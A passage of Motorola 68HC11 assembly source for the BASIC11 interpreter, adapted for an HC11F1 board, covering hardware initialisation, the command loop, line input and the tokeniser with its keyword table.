R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ;***************************************************************************** ;***************************************************************************** ; SYSTEM INITALISATION ;***************************************************************************** ;***************************************************************************** #ROM ROMBEG POWERUP ldd #IOBASE ; register base address (default, $1000) std IOBASEV ; " lsra:4 ; adjust for INIT sta INITSU ; remap the CPU registers lds #$0FFF ; load stack pointer ldx IOBASEV ; get reg offset pointer lda #%10010011 ; adpu, irqe, dly, cop = longest sta OPTION,X lda #%00000101 sta CSCTL,X ; enable program CS for 32K lda #%00000000 sta CSGADR,X ; RAM starts at address 0000H lda #%00000001 sta CSGSIZ,X ; RAM block size is 32K lda #%00001111 sta DDRG,X ; bank select bits = outputs clr PORTGIO,X ; select 1ST bank ; bset DDRA,X,LED5 ; make LED5 an output ; bset PORTAIO,X,LED5 ; LED5 = on lda #$03 ; set timer prescale to "/16" sta TMSK2,X ; save ; clear RAM ; clear 0100h to 0FFFh ldx #$0100 ; first address RAM1 clr ,x ; clear it inx ; next cpx #$1000 ; last address +1 blo RAM1 ; loop ; load interrupt vector table ldx #INTVECT_SA ; source, INT VECTORS IN ROM ldy #RAMVECTS ; target, START OF RAM TABLE ST_20 lda #$7E ; JMP OPCODE sta ,y ; store jmp opcode iny ; NEXT target ADDRESS ldd ,x ; GET VECTOR std ,y ; store vector inx:2 ; NEXT DESTINATION ADDRESS iny:2 ; NEXT SOURCE ADDRESS cpx #INTVECT_EA+2 ; finished ? blo ST_20 ; no, loop ;*********** ; Loads INTABLE and OUTABLE with the addresses of the input and output routines. ; DEVNUM specifies which routine to use. ; There are only 2 at this tme, SCIIN and PROUT (DEVNUM =1). ldy #IOVects ; source, point to the default table in ROM. ldx #INTABLE ; destination, START OF THE I/O VECTOR TABLE. ldb #32 ; byte count, GET NUMBER OF BYTES IN THE TABLE. PWRUP2 lda ,y ; Move a byte of the table from ROM into RAM. sta ,x inx ; POINT TO THE NEXT BYTE. iny decb ; DECREMENT THE COUNT. bne PWRUP2 ; GO TILL WE'RE DONE. ldx IOBASEV ; get reg offset pointer ;*********** ; misc jsr FL_RAM ; check/copy to RAM (for Flash) lda #SWPRE+1 ; ADD 1 TO NORMAL PRE SCALER. sta TIMEPRE ; SET UP THE SOFTWARE PRESCALER. clrd std TIMEREG ; ZERO THE TIME REGISTER. std TIMECMP ; zero the time compare register. ldx IOBASEV jsr TIMINTS ; GO SETUP THE TIMER FOR THE FIRST INTERRUPT. lda #$80 ; ENABLE INTERRUPTS FROM OC1. sta TMSK1,X clrd std ONTIMLIN ; INITALIZE THE LINE POINTERS. std ONIRQLIN std ONPACLIN ldx #IODevInit ; USERINIT jsr ,x ; INITALIZE THE SCI. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include BASICLB1.ASM ;***************************************************************************** ;***************************************************************************** ;main() ;{ ; initvars(); initalize all variables & pointers ; outheader(); send startup message to console ; outrdy(); output ready message MAIN MAINC jsr INITVARS ; INITALIZE ALL INTERNAL VARIABLES. ldx #PSSTART lda ASFLAG ; get the auto start flag. cmpa #$55 bne MAIN9 cli ; ALLOW ALL INTERRUPTS TO BE SERVICED. jsr CRUN MAIN9 lda #20 ; | MAIN9A jsr DELAY ; | short delay deca ; | bne MAIN9A ; | bsr OUTHEADR ; PRINT HEADER. MAINW MAIN2 lds #$0FFF ; load stack pointer cli ; ALLOW ALL INTERRUPTS TO BE SERVICED clrd std TIMECMP ; DON'T ALLOW "ONTIME" INTERRUPTS TO OCCUR. std ONIRQLIN ; DON'T ALLOW "ONIRQ" INTERRUPTS TO OCCUR. std ONPACLIN ; DON'T ALLOW "PACC" INTERRUPTS TO OCCUR. jsr OUTRDY ; PRINT READY MESSAGE. ;*********** ; while(1) do forever ; { ; outprmpt(); output prompt ; getline(); getline from console ; skipspcs(); ignore leading spaces in input buffer ; if(chckcmds()) continue; check for commands ; parse(); translate/execute line ; if(errcode) rpterr(); if an error occured somewhere, report it. ; errcode=0; clear error status ; } ;} MAIN1 clr IMMID ; CLEAR THE IMMIDIATE MODE FLAG. clr ERRCODE ; CLEAR THE ERROR CODE BYTE. clr RUNFLAG ; CLEAR THE RUN MODE FLAG. jsr OUTPRMPT ; SEND PROMPT TO CONSOLE. jsr GETLINE ; GO GET LINE FROM OPERATOR. bsr SKIPSPCS ; SKIP ANY LEADING SPACES. jsr CHCKCMDS ; GO CHECK FOR ANY COMMANDS. cmpd #0 ; WERE THERE ANY? bne MAIN2 ; YES. CONTINUE. ldx VAREND ; SAVE CURRENT END OF VARIABLE AREA IN CASE LINE stx FENCE ; HAS AN ERROR IN IT. (SO NO SPURIOUS VARIABLES ; ARE ALLOCATED) jsr PARSE tst IMMID ; DID WE EXECUTE IN IMMIDATE MODE? bne MAIN2 ; YES. PRINT READY MESSAGE. bra MAIN1 ; NO. JUST PRINT PROMPT. MAIN3 ldx FENCE ; GET THE VAREND FENCE. clr ,x ; MARK "OLD" END OF VARIABLE AREA IN CASE ANY ; VARIABLES WERE ALLOCATED. stx VAREND ; RESTORE THE POINTER. bra MAIN2 ; CONTINUE AFTER ERROR. ; /***** skipspcs() *****/ ;skipspcs() ;{ ; while(*ibufptr==SPC) ++ibufptr; ; return; ;} ; rts SKIPSPCS equ * SKIPSPC1 jsr GETCHR cmpa #SPC bne :AnRTS jsr INCIBP bra SKIPSPC1 ; /***** outheader *****/ ;outheader() ;{ ; ("BASIC11 v1.1"); ; nl(); ; nl(); ; pl("Written by Gordon Doughman"); ; nl(); ;} ; OUTHEADR ldx #HEADER jmp PL HEADER fcc ESC,"[2J" ; CLR SCREEN fcc ESC,"[0;0H" ; TOP LEFT CORNER FCC "BASIC11 V1.55" fcb CR,LF fcc "Copyright 1985-{:year} Gordon Doughman" fcb CR,LF fcc "Modified for the PMB Electronics CPU_1A1 HC11F1 board, May 2000" fcs CR,LF ; /***** outrdy() *****/ ;outrdy() ;{ ; nl(); ; pl("READY"); ; return; ;} OUTRDY ldx #READY bra PL READY fcb CR,LF fcs "READY" ; /***** getline() *****/ ;getline() ;{ ; short chrcnt; ; char c; ; chrcnt=IBUFLEN; ; ibufptr=inbuff; GETLINE ldb #IBUFLEN-1 ldx INBUFFS ; while((c=inbyte())!=EOL && (chrcnt>0)) ; { GETLINE3 jsr INBYTE cmpa #EOL beq GETLINE1 tstb beq GETLINE1 ; if(c==BS) ; { ; if(ibufptr!=inbuff) ; { ; ibufptr-=1; point to previous buffer location ; outbyte(SPC); erase character on screen ; outbyte(BS); back cursor up ; chrcnt+=1; ; } ; else ; continue; ; } cmpa #BS bne GETLINE2 cmpb #IBUFLEN-1 beq GETLINE1 dex lda #SPC jsr OUTBYTE lda #BS jsr OUTBYTE incb ; if(c < SPC) continue; ignore all other control characters GETLINE2 cmpa #CNTRLC ; IS IT A "BREAK"? bne GETLINE4 ; NO. GO PROCESS THE CHARACTER. inc CONTFLAG ; DONT ALLOW A "CONT". jmp CHCKBRK2 ; GO DO A BREAK. GETLINE4 cmpa #SPC blo GETLINE3 ; *ibufptr=c; save character in input buffer ; ibufptr+=1; point to next location ; chrcnt-=1; ; } sta ,x inx decb bne GETLINE3 ; *ibufptr=EOL; put EOL in input buffer ; ibufptr=inbuff; initalize the input buffer pointer ; return; ;} GETLINE1 lda #EOL sta ,x ldx INBUFFS stx IBUFPTR rts ToUpper cmpa #'a' ; is the character less than a lower case 'a'? blo :AnRTS cmpa #'z' bhi :AnRTS anda #$df rts ; /***** outprmpt() *****/ ;outprmpt() ;{ ; nl(); go to new line ; outbyte('#'); send prompt to console ; return; ;} OUTPRMPT ldx #PRMPTSTR bra PL PRMPTSTR fcb CR,LF fcs "#" ; /***** nl() *****/ ; nl() send CR/LF to console ;{ ; outbyte(CR); ; outbyte(LF); ; return; ;} NL2 bsr NL NL ldx #CRLFSTR bsr PL clr PRINTPOS ; SET THE CURRENT PRINT POSITION TO 0. rts CRLFSTR fcs CR,LF ; /***** pl() *****/ ;pl(ptr) send line to console ;char *ptr; ;{ ; int k; char c; ; k=0; ; while(c=ptr[k++]) outbyte(c); ; return; ;} PL lda ,x beq :AnRTS jsr OUTBYTE inx bra PL ; /***** parse() *****/ ;parse() ;{ ; int num; ; tbufptr=tknbuf; initalize the token buffer pointer PARSE ldx TKNBUFS ; Get the start of the token buffer stx TBUFPTR ; ; if(num=getlinum()) get line number if present ; { ; if(*ibufptr==EOL) was line # followed by CR? ; { yes. ; delline(num); go delete the line from the prog buffer ; return; ; } ; immid=0; flag as not immidiate ; putlinum(num); put line number in buffer ; } ; else immid=1; if no line # flag as immidiate*/ ; bsr GETLINUM bcc PARSE2 psha jsr GETCHR cmpa #EOL pula bne PARSE1 jsr DELLINE ldx VAREND inx stx STRASTG rts PARSE1 clr IMMID PARSE8 bsr PUTLINUM bra PARSE3 PARSE2 jsr GETCHR cmpa #EOL beq :AnRTS lda #1 sta IMMID clrd bra PARSE8 ; ; if(errcode) return; if line number error, return ; xlate(); if translation error, return ; if(errcode) return; ; if(immid) runline(); if immidiate mode run 1 line ; else storlin(); if not store pgm line ; return; go get next line ;} ; PARSE3 jsr XLATE tst IMMID beq PARSE5 jmp RUNLINE ; GO RUN THE LINE & RETURN. PARSE5 jsr STORLIN ; GO STORE LINE & RETURN. ldx VAREND inx stx STRASTG rts ; ; /***** getlinum *****/ ;getlinum() ;{ ; int num; ; num=0; ; GETLINUM equ * ; ; pshy clra psha psha tsy ; ; if(numeric(*ibufptr)==0) return(0); if 1st char not numeric, rtn 0 ; ldx IBUFPTR lda ,x bsr NUMERIC bcc GTLNUM4 ; ; while(numeric(*ibufptr)) while *ibufptr is numeric ; { ; num=num*10+(*ibufptr-'0'); get a digit ; ibufptr++; advance input buffer pointer ; if(num<=0) { errcode=LINRANG; return(0); } ; } ; return(num); ;} ; GTLNUM2 lda ,x bsr NUMERIC bcs GTLNUM3 sec GTLNUM1 ldd ,y bne GTLNUM4 lda #LINENERR bra GTLNUM5 GTLNUM4 ins ins puly stx IBUFPTR rts GTLNUM3 bsr ADDDIG bpl GTLNUM2 lda #LINRANG GTLNUM5 jmp RPTERR ; ; ADDDIG equ * ldd ,y asld asld addd ,y asld std ,y ldb ,x inx subb #'0' clra addd ,y std ,y rts ; ; ; /***** putlinum *****/ ;putlinum(lnum) ;int lnum; ;{ ; putint(lnum); put line # in token buffer ; *tbufptr++=0; hold place for length of line ; return; ;} ; PUTLINUM equ * jsr PUTDTOK clra jmp PUTTOK ; ; /***** numeric() *****/ ;numeric(c) ;char c; ;{ ; c=c&127; ; return((c>='0')&(c<='9')); ;} ; NUMERIC equ * cmpa #'0' blo NUMERIC1 cmpa #'9' bhi NUMERIC1 sec rts NUMERIC1 clc rts ; /***** alpha() *****/ ;alpha(c) ;char c; ;{ ; c=c&127; ; return((c>='A')&(c<='Z')); ;} ; ALPHA equ * cmpa #'A' blo ALPHA1 cmpa #'Z' bls ALPHA2 cmpa #'a' blo ALPHA1 cmpa #'z' bhi ALPHA1 ALPHA2 sec rts ALPHA1 clc rts ; /***** alphanum *****/ ;alphanum(c) ;char c; ;{ return ((alpha(c)) | (numeric(c))); } ; ALPHANUM equ * bsr ALPHA bcc ALPHANU1 rts ALPHANU1 bra NUMERIC ; ;***************************************** ; xlate() ; translate the input buffer into tokenized ; form placing the results into tknbuf ;*****************************************/ ; ;xlate() ;{ ; while(*ibufptr!=EOL) ; { ; ifwhflag=0; set IF flag to zero ; blanks(); skip all blanks ; if(match("DATA")) xdata(); ; else if(match("LET")) xlet(); ; else if(match("READ")) xread(); ; else if(match("RESTORE")) xrestore(); ; else if(match("GOSUB")) xgosub(); ; else if(match("GOTO")) xgoto(); ; else if(match("ON")) xon(); ; else if(match("RETURN")) xreturn(); ; else if(match("IF")) xif(); ; else if(match("INPUT")) xinput(); ; else if(match("PRINT")) xprint(); ; else if(match("FOR")) xfor(); ; else if(match("NEXT")) xnext(); ; else if(match("STOP")) xstop(); ; else if(match("ENDWH")) xendwh(); ; else if(match("END")) xend(); ; else if(match("REM")) xrem(); ;*else if(match("SWAP")) xswap();*/ ; else if(match("TRON")) xtron(); ; else if(match("TROFF")) xtroff(); ; else if(match("WHILE")) xwhile(); ;*else if(match("ONIRQ")) xonirq();*/ ; else ximplet(); if no keyword, assume implied LET ; if(errcode) return; ; blanks(); ; if(*ibufptr==MIDEOL) { xmideol(); continue; } ; if(*ibufptr!=EOL) { errcode=SYTXERR; return; } ; } ; *tbufptr=EOLTOK; put token eol in token buffer ; tknbuf[2]=tbufptr-tknbuf+1; put line length into tokenized line ; return; ;} ; XLATE equ * jsr GETCHR ; GET NEXT CHAR. cmpa #EOL ; AT THE END OF THE LINE? beq XLATE1 ; YES. clr IFWHFLAG ; NOT XLATING "IF" OR "WHILE" jsr BLANKS ; SKIP BLANKS. ldx #KEYWORDS ; POINT TO KEYWORD TABLE. XLATE4 jsr STREQ ; IS KEYWORD IS IN THE INPUT BUFFER? bcs XLATE2 ; YES GO PROCESS IT. XLATE3 inx ; NO. POINT TO NEXT CHAR. lda ,x ; AT THE END OF THIS KEYWORD? bne XLATE3 ; NO. ldb #4 ; NUMBER OF BYTES TO SKIP. abx tst ,x ; AT THE END OF THE TABLE? bne XLATE4 ; NO. CHCK FOR NEXT KEYWORD. lda #IMLETTOK ; ASSUME AN IMPLIED LET. ; jsr PUTTOK ; PUT TOKEN IN BUFFER. ldx #XIMPLET ; GET ADDR OF XLATION ROUTINE. ; jsr ,x ; GO DO IT. ; bra XLATE6 ; GO FINISH UP. bra XLATE9 XLATE2 lda 1,X ; GET KEYWORD TOKEN. ldx 2,X ; GET ADDR OF XLATION ROUTINE. XLATE9 jsr PUTTOK ; PUT TOKEN IN BUFFER. cmpa #DATATOK ; SPECIAL CASE, DONT SKIP BLANKS AFTER KEYWORD. beq XLATE5 cmpa #REMTOK ; SAME SPECIAL CASE AS FOR DATA. beq XLATE5 jsr BLANKS ; SKIP BLANKS BETWEEN KEYWORD & NEXT OBJECT. XLATE5 jsr ,x ; GO DO IT. XLATE6 jsr BLANKS ; SKIP BLANKS. jsr GETNXCHR ; GET NEXT CHAR. cmpa #MIDEOL ; IS IT A MID EOL? bne XLATE7 ; NO. CHCK FOR EOL. lda #MEOLTOK ; GET MID EOL TOKEN. jsr PUTTOK ; PUT IT IN BUFFER. bra XLATE ; CONTINUE. XLATE7 cmpa #EOL ; EOL? beq XLATE1 ; YES. FINISH UP. lda #SYTXERR ; NO. SYNTAX ERROR. jmp RPTERR ; REPORT XLATION ERROR. XLATE1 lda #EOLTOK ; GET EOL TOKEN. jsr PUTTOK ; PUT IT IN BUFFER. ldd TBUFPTR ; GET TOKEN BUFFER POINTER. subd TKNBUFS ; Compute the TOKEN BUFFER LENGTH. ldx TKNBUFS ; POINT TO BUFFER. stb 2,X ; STORE LENGTH. rts ; RETURN. ; ; ; KEYWORD LOOK UP TABLE ; ; ? macro mdef 2,~1~TOK mdef 3,X~1~ fcs \@~1~\@ fcb ~2~ fdb ~3~ endm KEYWORDS equ * DATA @? DATA LET @? LET READ @? READ RESTORE @? RESTORE,RESTRTOK GOSUB @? GOSUB GOTO @? GOTO ONTIME @? ONTIME,ONTIMTOK ONIRQ @? ONIRQ ONPACC @? ONPACC,ONPACTOK ON @? ON RETURN @? RETURN,RETNTOK IIF @? IF INPUT @? INPUT PRINT @? PRINT @? ?,PRINTTOK,XPRINT FOR @? FOR NEXT @? NEXT STOPSS @? STOP ENDWH @? ENDWH ENDS @? END REM @? REM TRON @? TRON TROFF @? TROFF WHILE @? WHILE POKE @? POKE DIM @? DIM EEP @? EEP PORTA @? PORTA PORTB @? PORTB PORTC @? PORTC PORTD @? PORTD INBYTES @? INBYTE,INBYTTOK TIME @? TIME RETI @? RETI PACC @? PACC SLEEP @? SLEEP RTIMES @? RTIME CLS @? CLS fcb 0 ; END OF TABLE MARKER. ;blanks() ;{ ; short spcnt; ; spcnt=0; ; while(*ibufptr==SPC) { ibufptr++; spcnt++; } ; BLANKS equ * pshx ldx IBUFPTR clrb BLANKS1 lda ,x cmpa #SPC bne BLANKS2 incb inx bra BLANKS1 ; ; if(spcnt==0) return; ; BLANKS2 tstb bne BLANKS3 pulx rts ; ; if(spcnt>1) ; { ; *tbufptr++=MSCNTOK; ; *tbufptr++=spcnt; ; } ; BLANKS3 stx IBUFPTR ldx TBUFPTR cmpb #1 beq BLANKS4 lda #MSCNTOK sta ,x inx BLANKS5 stb ,x inx stx TBUFPTR pulx rts ; ; else ; { ; *tbufptr++=SSCNTOK; ; } ; return; ;} ; BLANKS4 ldb #SSCNTOK bra BLANKS5 ; ; ;<><><><><><><> NOTE: THIS FUNCTION NOT NEEDED <><><><><><><> ; ;************************************** ; match() ; try to find match between *lit and ; *ibufptr. if match found, ibufptr is ; advanced to point beyond *lit. the ; string pointed to by lit must be null ; terminated. ;**************************************/ ; ;match(lit) ;char *lit; ;{ ; int k; ; if(k=streq(ibufptr,lit)) ; { ; ibufptr+=k; ; return(1); ; } ; return(0); ;} ;**************************************** ; streq() ; compare srt1 to str2. str2 must be null ; terminated. ;****************************************/ ; ;streq(str1,str2) ;char *str1,*str2; ;{ ; int k; ; k=0; ; while(str2[k]) we're not at the end of string2 ; { ; if((str1[k])!=(str2[k])) return(0); ; k++; ; } ; return(k); ;} ; STREQ equ * ldd IBUFPTR ; SAVE VALUE OF POINTER. pshd STREQU4 lda ,x beq STREQU2 STREQU1 bsr GETNXCHR jsr ToUpper ; Make the character upper case. cmpa ,x beq STREQU3 puld std IBUFPTR clc rts STREQU3 inx bra STREQU4 STREQU2 puld sec rts ; ; ; THIS ROUTINE GETS THE NEXT CHARACTER FROM THE INPUT BUFFER. ; ; GETCHR pshx ; SAVE THE X REGISTER. ldx IBUFPTR ; GET POINTER. lda ,x ; GET A CHARACTER. pulx ; RESTORE X. rts ; RETURN. ; ; ; THIS ROUTINE GETS THE NEXT CHARACTER FROM THE INPUT BUFFER ; AND ADVANCES THE POINTER TO POINT TO THE NEXT CHARACTER. ; ; GETNXCHR bsr GETCHR ; FALL THROUGH TO INCIBP. ; ; ; THIS ROUTINE JUST INCREMENTS THE INPUT BUFFER POINTER. ; ; INCIBP pshx ; SAVE X. ldx IBUFPTR ; GET POINTER. INCIBP1 inx ; ADVANCE POINTER. stx IBUFPTR ; UPDATE POINTER. INCIBP2 pulx ; RESTORE X rts ; RETURN. ; ; ; THIS ROUTINE PUTS THE WORD IN THE D-REG. INTO THE TOKEN BUFFER ; AND ADVANCES THE TOKEN BUFFER POINTER. ; ; PUTDTOK bsr PUTTOK ; PUT THE FIRST BYTE INTO THE TOKEN BUFFER. tba ; PUT THE 2ND BYTE INTO A. ; ; FALL THROUGH TO PUTTOK. ; ; ; THIS ROUTINE PUTS THE CHARACTER IN THE A-REG. INTO THE TOKEN ; BUFFER AND ADVANCES THE TOKEN BUFFER POINTER. ; ; PUTTOK pshx ; SAVE X. pshb psha ; (9/12/89). ldx TBUFPTR ; GET POINTER. sta ,x ; PUT CHARACTER. PUTTOK1 inx ; ADVANCE POINTER. stx TBUFPTR ; SAVE POINTER. ldd TKNBUFS ; get the starting address of the token buffer. addd #TBUFLEN ; add the length of the buffer to it. cmpd TBUFPTR ; IS THE TOKEN BUFFER FULL? pula ; (9/12/89). pulb ; restore the b reg. bhi INCIBP2 ; NO. RESTORE X AND RETURN. lda #EXPCXERR ; YES. FLAG THE ERROR. jmp RPTERR ; GO REPORT IT. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include BASICLB2.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;<><><><><><> NOTE: FUNCTION PERFORMED IN "XLATE" <><><><><><> ; ;***** xmideol() *****/ ; ;xmideol() ;{ ; *tbufptr++=MEOLTOK; ; ++ibufptr; ; return; ;} ; ; ; ;****** common code for GOSUB and GOTO *****/ ; ;xgo(gotok) ;char gotok; ;{ ; int num; ; *tbufptr++=gotok; put GOTO or GOSUB token in buffer ; blanks(); skip blanks before line number ; *tbufptr++=LCONTOK; put line number constant token in buffer ; num=getlinum(); get line number ; if(num==0) errcode=LINENERR; if 0, line number error ; if(errcode) return; if error, return ; putint(num); put line number in buffer ; return; ;} ; XGOSUB equ * XGOTO equ * ; JSR BLANKS lda #LCONTOK bsr PUTTOK jsr GETLINUM XGOTO2 bra PUTDTOK ; ; ;<><><><><><> ROUTINE NOT NEEDED <><><><><><> ; ;***** GOSUB *****/ ; ;xgosub() ;{ ; xgo(GOSUBTOK); ; return; ;} ; ; ;<><><><><><> ROUTINE NOT NEEDED <><><><><><> ; ;***** GOTO *****/ ; ;xgoto() ;{ ; xgo(GOTOTOK); ; return; ;} ;***** RETURN *****/ ; ;xreturn() ;{ ; *tbufptr++=RETNTOK; put RETURN token in buffer ; return; ;} ; ;***** STOP *****/ ; ;xstop() ;{ ; *tbufptr++=STOPTOK; put STOP token in buffer ; return; ;} ; ;***** END *****/ ; ;xend() ;{ ; *tbufptr++=ENDTOK; put end token in buffer ; return; ;} ; ;***** TRON *****/ ; ;xtron() ;{ ; *tbufptr++=TRONTOK; put TRON token in buffer ; return; ;} ; ;***** TROFF *****/ ; ;xtroff() ;{ ; *tbufptr++=TROFFTOK; put TROFF token in buffer ; return; ;} ; XRETURN equ * XSTOP equ * XEND equ * XTRON equ * XTROFF equ * XRESTORE equ * XENDWH equ * XRETI equ * XSLEEP equ * XRTIME equ * XCLS equ * rts ; NULL FUNCTIONS BECAUSE TOKEN PLACEMENT IS DONE IN ; ; XLATE FUNCTION. ; ;***** REM *****/ ; ;xrem() ;{ ; char c; ; *tbufptr++=REMTOK; put rem token in buffer ; while(1) ; { ; if((c=*ibufptr)==EOL) break; ; *tbufptr++=c; ; ++ibufptr; ; } ; return; ;} ; ; ;***** xdata() *****/ ; ;xdata() ;{ ; char c; ; *tbufptr++=DATATOK; put DATA token in buffer ; while((c=*ibufptr)!=EOL) ; { ; if(c==',') *tbufptr++=COMMATOK; ; else *tbufptr++=c; ; ++ibufptr; ; } ; return; ;} ; XDATA equ * XREM equ * ldx TBUFPTR ; GET POINTER TO TOKEN BUFFER. pshx ; SAVE IT. (POINTER TO LENGTH OF REM OR DATA) clra ; SAVE A BYTE FOR THE LENGTH. bsr PUTTOK ldb #2 ; INITALIZE LENGTH TO 2 (INCLUDES LENGTH & EOL. XREM1 bsr GETCHR cmpa #EOL beq XREM2 bsr PUTTOK bsr INCIBP incb ; UP THE BYTE COUNT. bra XREM1 XREM2 bsr PUTTOK pulx ; GET POINTER TO LENGTH BYTE. stb ,x ; PUT IT IN THE TOKEN BUFFER. rts ; ; XPORTA equ * XPORTB equ * XPORTC equ * XPORTD equ * ldb #NUM ; WE'RE XLATING A NUMERICAL STATEMENT. bra ASIGNMT1 ; GO DO IT LIKE AN ASIGNMENT STATEMENT. ; ; ; ; ;***** LET *****/ ; ;xlet() ;{ ; letcom(LETTOK); pass LET token to common code ; return; ;} ; ;***** implied LET *****/ ; ;ximplet() ;{ ; letcom(IMLETTOK); ; return; ;} ; ;***** common code for explicit & implicit LET *****/ ; ;letcom(letok) ;short letok; ;{ ; *tbufptr++=letok; put LET token in buffer ; blanks(); skip blanks before assignment statement ; if(ibufptr=='@') { *tbufptr++=INDIRTOK; ++ibufptr; } ; asignmt(); evaluate expression ; return; ;} ; XLET equ * XIMPLET equ * ; JSR BLANKS ;XLET1 JMP ASIGNMT ; ; ;***** asignmt() *****/ ; ;asignmt() ;{ ;short type; ; if((type=getvar())==0) return; get variable & return type ; if(errcode) return; ; if(*ibufptr++!='=') { errcode=IVEXPERR; return; } invalid expression ; *tbufptr++=EQUALTOK; put equals token in buffer ; xexpres(type); build expression in token buffer ; return; ;} ; ASIGNMT equ * jsr GETVAR tab ASIGNMT1 bsr GETNXCHR cmpa #'=' beq ASIGNMT2 lda #IVEXPERR jmp RPTERR ASIGNMT2 lda #EQUALTOK bsr PUTTOK tba ; FALL THROUGH TO XEXPRES. ; ; ;***** xexpres() *****/ ; ;xexpres(type) ;short type; ;{ ; char c; ; while(1) ; { ; if(match("-")) *tbufptr++=NEGTOK; ; else if(match("@")) *tbufptr++=INDIRTOK; ; else if(match("NOT")) *tbufptr++=NOTTOK; XEXPRES equ * pshy psha tsy XEXPRS29 ldx #UINARYOP jsr TBLSRCH bcc XEXPRS30 bsr PUTTOK ; ; if(*ibufptr=='(') open paren? ; { ; *tbufptr++=OPARNTOK; put in token buffer ; ++ibufptr; point to next char in input buffer ; xexpres(type); go get sub expression ; if(errcode) return; ; if(*ibufptr!=')') { errcode=UPARNERR; return; } ; *tbufptr++=CPARNTOK; put it in the token buffer ; ++ibufptr; point to the next char in the input buffer ; goto chkoprtr; ; } ; XEXPRS30 bsr GETCHR cmpa #'(' bne XEXPRS1 bsr INCIBP lda #OPARNTOK bsr PUTTOK lda ,y bsr XEXPRES XEXPRS2 jsr GETNXCHR cmpa #')' beq XEXPRS3 lda #UPARNERR jmp RPTERR XEXPRS3 lda #CPARNTOK jsr PUTTOK bra CHKOPRTR ; ; if((numeric(*ibufptr)) | (*ibufptr=='$') | (*ibufptr=='"')) ; { ; c=getcon(); ; if(errcode) return; ; } ; else if(c=getfun()) ; ; else (c=getvar()) ; ; if(errcode) return; ; if(type==NULL) type=c; ; if(c!=type) { errcode=DTMISERR; return; } ; XEXPRS1 equ * jsr NUMERIC bcs XEXPRS4 cmpa #'$' beq XEXPRS4 cmpa #'"' bne XEXPRS5 XEXPRS4 jsr GETCON bra XEXPRS7 XEXPRS5 jsr GETFUN tsta bne XEXPRS7 jsr GETVAR XEXPRS7 ldb ,y cmpb #NULL bne XEXPRS8 sta ,y XEXPRS8 cmpa ,y beq XEXPRS9 lda #DTMISERR jmp RPTERR XEXPRS9 equ * ; ; ;now look for operator or end of expression ; ; chkoprtr: ; c=*ibufptr; ; if(c==EOL | c==MIDEOL | c==SPC | c==COMMA | c==SEMI | c==')') ; { ; return(c); ; } ; CHKOPRTR jsr GETCHR cmpa #EOL beq XEXPRS24 cmpa #MIDEOL beq XEXPRS24 cmpa #SPC beq XEXPRS24 cmpa #COMMA beq XEXPRS24 cmpa #SEMI beq XEXPRS24 cmpa #')' beq XEXPRS24 ; ; ; if(type==NUM) ; { ; if(c=cknumop()) ; ; else if(c=ckbolop()) ; ; else if(ifwhflag) c=cklogop(); ; else c=NULL; ; } XEXPRS15 lda ,y cmpa #NUM bne XEXPRS21 bsr CKNUMOP bcs XEXPRS17 bsr CKBOLOP bcs XEXPRS17 tst IFWHFLAG beq XEXPRS18 bsr CKLOGOP bra XEXPRS17 XEXPRS18 lda #NULL bra XEXPRS17 ; ; ; else { errcode=IDTYERR; return; } ; XEXPRS21 equ * lda #IDTYERR jmp RPTERR ; ; ; if(c==NULL) { errcode=OPRTRERR; return; } ; *tbufptr++=c; ; } ; return; ;} ; XEXPRS17 equ * tsta bne XEXPRS23 lda #OPRTRERR jmp RPTERR XEXPRS24 ins puly rts XEXPRS23 jsr PUTTOK jmp XEXPRS29 ;***** cknumop() *****/ ; ;cknumop() ;{ ; if(match("+")) return(PLUSTOK); ; else if(match("-")) return(MINUSTOK); ; else if(match("*")) return(MULTTOK); ; else if(match("/")) return(DIVTOK); ; else if(match("\\")) return(MODTOK); ; else if(match("^")) return(PWRTOK); ; else return(NULL); ;} CKNUMOP ldx #NUMOPTBL CKOP bsr TBLSRCH bcs :AnRTS lda #NULL rts ;***** ckbolop() *****/ ; ;ckbolop() ;{ ; if(match("AND")) return(ANDTOK); ; else if(match("OR")) return(ORTOK); ; else if(match("EOR")) return(EORTOK); ; else return(NULL); ;} CKBOLOP ldx 